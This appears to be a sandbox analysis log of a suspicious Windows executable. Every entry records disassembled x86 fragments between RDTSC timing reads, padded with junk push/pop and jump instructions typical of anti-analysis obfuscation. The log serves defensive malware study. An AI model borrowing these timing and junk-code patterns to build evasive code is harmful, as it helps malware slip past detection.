Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0548 second address: 4DA054C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA054C second address: 4DA0587 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax+04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4AE0E87EC7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0587 second address: 4DA059F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE04F8894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80443 second address: 4D80449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80449 second address: 4D80467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4AE04F8893h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80467 second address: 4D8046D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D8046D second address: 4D80471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80471 second address: 4D804BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F4AE0E87EC7h 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 mov dx, ax 0x00000016 mov eax, 094FD917h 0x0000001b popad 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4AE0E87EC9h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA001B second address: 4DA0073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4AE04F888Fh 0x00000009 sbb eax, 761D71EEh 0x0000000f jmp 00007F4AE04F8899h 0x00000014 popfd 0x00000015 mov esi, 4DE08177h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F4AE04F888Ah 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4AE04F888Dh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0073 second address: 4DA0077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0077 second address: 4DA007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA007D second address: 4DA0093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov cl, 0Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0093 second address: 4DA00A1 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 0EE1BE0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b mov si, dx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA00A1 second address: 4DA00A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA00A5 second address: 4DA00C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4AE04F8895h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA00C7 second address: 4DA00DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA00DC second address: 4DA00E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA00E2 second address: 4DA00E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA00E6 second address: 4DA0105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F4AE04F8890h 0x00000011 mov edx, eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0105 second address: 4DA010B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0335 second address: 4DA0339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0339 second address: 4DA033D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA033D second address: 4DA0343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0343 second address: 4DA03A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F4AE0E87EBEh 0x00000010 mov cx, A021h 0x00000014 pop ecx 0x00000015 jmp 00007F4AE0E87EC7h 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007F4AE0E87EC9h 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 movzx ecx, di 0x00000026 push eax 0x00000027 push edx 0x00000028 mov al, bl 0x0000002a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA03A1 second address: 4DA03B3 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 20AA29C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA03B3 second address: 4DA03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA03B7 second address: 4DA03BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA03BB second address: 4DA03C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0775 second address: 4DC0779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0779 second address: 4DC077F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC077F second address: 4DC07DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4AE04F888Eh 0x00000011 adc ecx, 1AC52B68h 0x00000017 jmp 00007F4AE04F888Bh 0x0000001c popfd 0x0000001d mov ax, CD5Fh 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007F4AE04F888Eh 0x0000002d xor si, 7DC8h 0x00000032 jmp 00007F4AE04F888Bh 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC07DC second address: 4DC083D instructions: 0x00000000 rdtsc 0x00000002 call 00007F4AE0E87EC8h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F4AE0E87EBBh 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 popad 0x00000013 push ecx 0x00000014 pushad 0x00000015 mov edx, esi 0x00000017 jmp 00007F4AE0E87EBCh 0x0000001c popad 0x0000001d mov dword ptr [esp], ecx 0x00000020 jmp 00007F4AE0E87EC0h 0x00000025 mov eax, dword ptr [774365FCh] 0x0000002a pushad 0x0000002b pushad 0x0000002c mov dx, cx 0x0000002f mov bx, cx 0x00000032 popad 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC083D second address: 4DC0862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4AE04F8899h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0862 second address: 4DC0868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0868 second address: 4DC086C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC086C second address: 4DC090D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F4B5347AFA8h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4AE0E87EC5h 0x00000015 xor eax, 1A157C66h 0x0000001b jmp 00007F4AE0E87EC1h 0x00000020 popfd 0x00000021 push ecx 0x00000022 push ebx 0x00000023 pop eax 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov ecx, eax 0x00000028 pushad 0x00000029 mov bx, si 0x0000002c pushfd 0x0000002d jmp 00007F4AE0E87EC0h 0x00000032 adc cx, 5738h 0x00000037 jmp 00007F4AE0E87EBBh 0x0000003c popfd 0x0000003d popad 0x0000003e xor eax, dword ptr [ebp+08h] 0x00000041 jmp 00007F4AE0E87EBFh 0x00000046 and ecx, 1Fh 0x00000049 pushad 0x0000004a pushad 0x0000004b movzx ecx, dx 0x0000004e mov bx, A162h 0x00000052 popad 0x00000053 mov esi, edx 0x00000055 popad 0x00000056 ror eax, cl 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F4AE0E87EC0h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC090D second address: 4DC091F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE04F888Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC091F second address: 4DC0940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c pushad 0x0000000d mov al, FFh 0x0000000f mov ecx, ebx 0x00000011 popad 0x00000012 retn 0004h 0x00000015 nop 0x00000016 mov esi, eax 0x00000018 lea eax, dword ptr [ebp-08h] 0x0000001b xor esi, dword ptr [001A2014h] 0x00000021 push eax 0x00000022 push eax 0x00000023 push eax 0x00000024 lea eax, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 call 00007F4AE5AE8800h 0x0000002d push FFFFFFFEh 0x0000002f pushad 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0940 second address: 4DC09CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F4AE04F8897h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop eax 0x0000000e jmp 00007F4AE04F888Fh 0x00000013 ret 0x00000014 nop 0x00000015 push eax 0x00000016 call 00007F4AE51591FFh 0x0000001b mov edi, edi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F4AE04F8894h 0x00000024 adc esi, 316FFA48h 0x0000002a jmp 00007F4AE04F888Bh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F4AE04F8898h 0x00000036 sbb ch, FFFFFFA8h 0x00000039 jmp 00007F4AE04F888Bh 0x0000003e popfd 0x0000003f popad 0x00000040 xchg eax, ebp 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 mov ecx, 787F8F31h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC09CC second address: 4DC0A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F4AE0E87EBDh 0x00000009 pushfd 0x0000000a jmp 00007F4AE0E87EC0h 0x0000000f jmp 00007F4AE0E87EC5h 0x00000014 popfd 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0A0C second address: 4DC0A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 373C59ACh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0A16 second address: 4DC0A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0A1C second address: 4DC0A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70174 second address: 4D701D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4AE0E87EC1h 0x00000008 mov si, 7C57h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 push ecx 0x00000012 jmp 00007F4AE0E87EBFh 0x00000017 pop ecx 0x00000018 mov edx, 5E62EF0Ch 0x0000001d popad 0x0000001e mov ebx, dword ptr [ebp+10h] 0x00000021 jmp 00007F4AE0E87EBBh 0x00000026 xchg eax, esi 0x00000027 jmp 00007F4AE0E87EC6h 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D701D1 second address: 4D701E1 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 1Bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, ebx 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D701E1 second address: 4D701E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D701E5 second address: 4D701EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D701EB second address: 4D701F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D701F1 second address: 4D70248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4AE04F8895h 0x00000012 adc ax, 3756h 0x00000017 jmp 00007F4AE04F8891h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F4AE04F8898h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70248 second address: 4D70257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70257 second address: 4D7026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE04F8894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D7026F second address: 4D702C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4AE0E87EC3h 0x00000012 adc eax, 2C62734Eh 0x00000018 jmp 00007F4AE0E87EC9h 0x0000001d popfd 0x0000001e jmp 00007F4AE0E87EC0h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D702C0 second address: 4D702D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D702D6 second address: 4D702DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D702DC second address: 4D702F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE04F8899h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D702F9 second address: 4D702FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D702FD second address: 4D7033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F4AE04F888Dh 0x0000000f je 00007F4B52B36B87h 0x00000015 jmp 00007F4AE04F888Eh 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov bx, 75D0h 0x00000028 mov di, 1EFCh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D7033B second address: 4D7039C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4B534C6190h 0x0000000f jmp 00007F4AE0E87EC0h 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 jmp 00007F4AE0E87EC0h 0x0000001c or edx, dword ptr [ebp+0Ch] 0x0000001f pushad 0x00000020 popad 0x00000021 test edx, 61000000h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F4AE0E87EC5h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D7039C second address: 4D703B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F4B52B36B68h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D703B1 second address: 4D703B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D607E5 second address: 4D607E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D607E9 second address: 4D60800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4AE0E87EBDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60800 second address: 4D608E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4AE04F888Eh 0x0000000f mov ebp, esp 0x00000011 jmp 00007F4AE04F8890h 0x00000016 and esp, FFFFFFF8h 0x00000019 pushad 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F4AE04F888Ch 0x00000021 add al, 00000068h 0x00000024 jmp 00007F4AE04F888Bh 0x00000029 popfd 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d pushad 0x0000002e push eax 0x0000002f pop edx 0x00000030 pushfd 0x00000031 jmp 00007F4AE04F8890h 0x00000036 and cx, 25C8h 0x0000003b jmp 00007F4AE04F888Bh 0x00000040 popfd 0x00000041 popad 0x00000042 popad 0x00000043 xchg eax, ebx 0x00000044 jmp 00007F4AE04F8896h 0x00000049 push eax 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F4AE04F8891h 0x00000051 sbb si, 8D96h 0x00000056 jmp 00007F4AE04F8891h 0x0000005b popfd 0x0000005c mov cx, 8A07h 0x00000060 popad 0x00000061 xchg eax, ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F4AE04F8899h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D608E4 second address: 4D60928 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007F4AE0E87EC3h 0x0000000b sub eax, 7874842Eh 0x00000011 jmp 00007F4AE0E87EC9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60928 second address: 4D6092D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D6092D second address: 4D60A04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e mov eax, edi 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 movsx ebx, cx 0x00000016 mov si, 4CDDh 0x0000001a popad 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f mov ax, 3A95h 0x00000023 push eax 0x00000024 pushfd 0x00000025 jmp 00007F4AE0E87EC1h 0x0000002a add ecx, 4771E726h 0x00000030 jmp 00007F4AE0E87EC1h 0x00000035 popfd 0x00000036 pop esi 0x00000037 popad 0x00000038 mov ebx, 00000000h 0x0000003d jmp 00007F4AE0E87EBCh 0x00000042 test esi, esi 0x00000044 jmp 00007F4AE0E87EC0h 0x00000049 je 00007F4B534CD897h 0x0000004f jmp 00007F4AE0E87EC0h 0x00000054 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e mov dx, 0740h 0x00000062 pushfd 0x00000063 jmp 00007F4AE0E87EC9h 0x00000068 adc esi, 60509346h 0x0000006e jmp 00007F4AE0E87EC1h 0x00000073 popfd 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60A04 second address: 4D60A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60A0A second address: 4D60A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
